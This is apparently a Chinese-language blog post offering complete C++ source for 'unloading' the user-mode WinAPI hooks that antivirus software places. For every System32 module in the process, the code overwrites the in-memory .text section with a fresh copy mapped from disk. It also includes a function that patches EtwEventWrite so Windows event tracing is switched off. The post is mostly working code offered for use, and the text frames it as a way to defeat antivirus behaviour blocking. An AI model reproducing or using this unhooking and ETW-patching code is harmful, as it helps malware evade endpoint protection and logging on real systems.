R3 HOOK 卸载

卸载R3 WINAPI HOOK 代码

说明

很多常见的杀软会挂钩R3 WINAPI来实现行为拦截等操作下列代码是遍历当前进程所有模块,
如果是位于System32下的模块则进行PE解析text代码段对可能Hook的模块进行reload操作，
实现卸载杀软R3 HOOK操作。

#include <windows.h>
#include <psapi.h>
#include <iostream>
#include <string>
#include <algorithm>
using namespace std;
//bypass ETW功能如果有需要绕过Windows事件跟踪可以调用该函数,EtwEventWrite 改为ret空返回
void bypassetw()
{
    unsigned char pEtwEventWriteName[] = { 'E','t','w','E','v','e','n','t','W','r','i','t','e', 0 };

    HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
    LPVOID pEtwEventWrite = nullptr;
    pEtwEventWrite = GetProcAddress(hNtdll, (LPCSTR)pEtwEventWriteName);
    if (pEtwEventWrite != nullptr) {
        DWORD oldProtect;
        BYTE path[8] = {0x90,0x90,0x90,0x90,0x90,0xC3,0XC3,0XC3};
        VirtualProtect((LPVOID)pEtwEventWrite, 10, PAGE_EXECUTE_READWRITE, &oldProtect);
        memcpy((LPVOID)pEtwEventWrite, path, 8);
        VirtualProtect((LPVOID)pEtwEventWrite, 10, PAGE_EXECUTE_READ, &oldProtect);
    }
    FreeLibrary(hNtdll);
    return;

}
DWORD UNHOOK(char* dllName) {
    string dllStringName = "c:\\windows\\system32\\";
    dllStringName.append(dllName);
    MODULEINFO mi = {};
    HMODULE ntdllModule = GetModuleHandleA(dllName);
    GetModuleInformation(HANDLE(-1), ntdllModule, &mi, sizeof(mi));
    LPVOID ntdllBase = (LPVOID)mi.lpBaseOfDll;
    HANDLE ntdllFile = CreateFileA(dllStringName.c_str(), GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
    HANDLE ntdllMapping = CreateFileMapping(ntdllFile, NULL, PAGE_READONLY | SEC_IMAGE, 0, 0, NULL);
    LPVOID ntdllMappingAddress = MapViewOfFile(ntdllMapping, FILE_MAP_READ, 0, 0, 0);

    PIMAGE_DOS_HEADER hookedDosHeader = (PIMAGE_DOS_HEADER)ntdllBase;
    PIMAGE_NT_HEADERS hookedNtHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)ntdllBase + hookedDosHeader->e_lfanew);

    for (WORD i = 0; i < hookedNtHeader->FileHeader.NumberOfSections; i++) {
        PIMAGE_SECTION_HEADER hookedSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD_PTR)IMAGE_FIRST_SECTION(hookedNtHeader) + ((DWORD_PTR)IMAGE_SIZEOF_SECTION_HEADER * i));

        if (!strcmp((char*)hookedSectionHeader->Name, (char*)".text")) {
            DWORD oldProtection = 0;
            bool isProtected = VirtualProtect((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize, PAGE_EXECUTE_READWRITE, &oldProtection);
            memcpy((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), (LPVOID)((DWORD_PTR)ntdllMappingAddress + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize);
            isProtected = VirtualProtect((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize, oldProtection, &oldProtection);
        }
    }
    UnmapViewOfFile(ntdllMappingAddress);
    CloseHandle(ntdllFile);
    CloseHandle(ntdllMapping);
    return 0;
}




void ListModules(DWORD processID) {
    HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, processID);
    if (hProcess == NULL) {
        std::cerr << "Failed to open process. Error code: " << GetLastError() << std::endl;
        return;
    }

    HMODULE hModuleArray[1024];
    DWORD cbNeeded;
    if (EnumProcessModules(hProcess, hModuleArray, sizeof(hModuleArray), &cbNeeded)) {
        int moduleCount = cbNeeded / sizeof(HMODULE);

        std::cout << "Modules in process " << processID << ":" << std::endl;

        for (int i = 0; i < moduleCount; ++i) {
            TCHAR szModName[MAX_PATH];
            if (GetModuleBaseName(hProcess, hModuleArray[i], szModName, sizeof(szModName) / sizeof(TCHAR))) {
                // 获取模块绝对路径
                TCHAR szModPath[MAX_PATH];
                if (GetModuleFileNameEx(hProcess, hModuleArray[i], szModPath, sizeof(szModPath) / sizeof(TCHAR))) {
                    uintptr_t moduleBaseAddress = reinterpret_cast<uintptr_t>(hModuleArray[i]);
                    std::wcout << L"  " << szModName << L" (Address: 0x" << std::hex << moduleBaseAddress
                        << L", Path: " << szModPath << L")" << std::endl;

                    
               
                    std::wstring modPath = szModPath;
                    std::transform(modPath.begin(), modPath.end(), modPath.begin(), ::towlower);

                    std::wstring searchString = L"c:\\windows\\system32";
                    if (modPath.find(searchString) != std::wstring::npos) {

                        // 转换szModName为char类型
                        char szModNameChar[MAX_PATH];
                        if (WideCharToMultiByte(CP_UTF8, 0, szModName, -1, szModNameChar, MAX_PATH, NULL, NULL) > 0) {
                            UNHOOK(szModNameChar);
                            printf("-----------------------Unload hook Name Module:%s-----------------------\r\n", szModNameChar);
                        }
                        std::wcout << L"    This module is in c:\\windows\\system32." << std::endl;
                    }
                    else {
                        //std::wcout << L"    This module is not in c:\\windows\\system32." << std::endl;
                    }


                }
                else {
                    std::cerr << "GetModuleFileNameEx failed. Error code: " << GetLastError() << std::endl;
                }
            }
        }
    }
    else {
        std::cerr << "EnumProcessModules failed. Error code: " << GetLastError() << std::endl;
    }

    CloseHandle(hProcess);
}

int main() {
    DWORD processID = GetCurrentProcessId();
    ListModules(processID);
    return 0;
}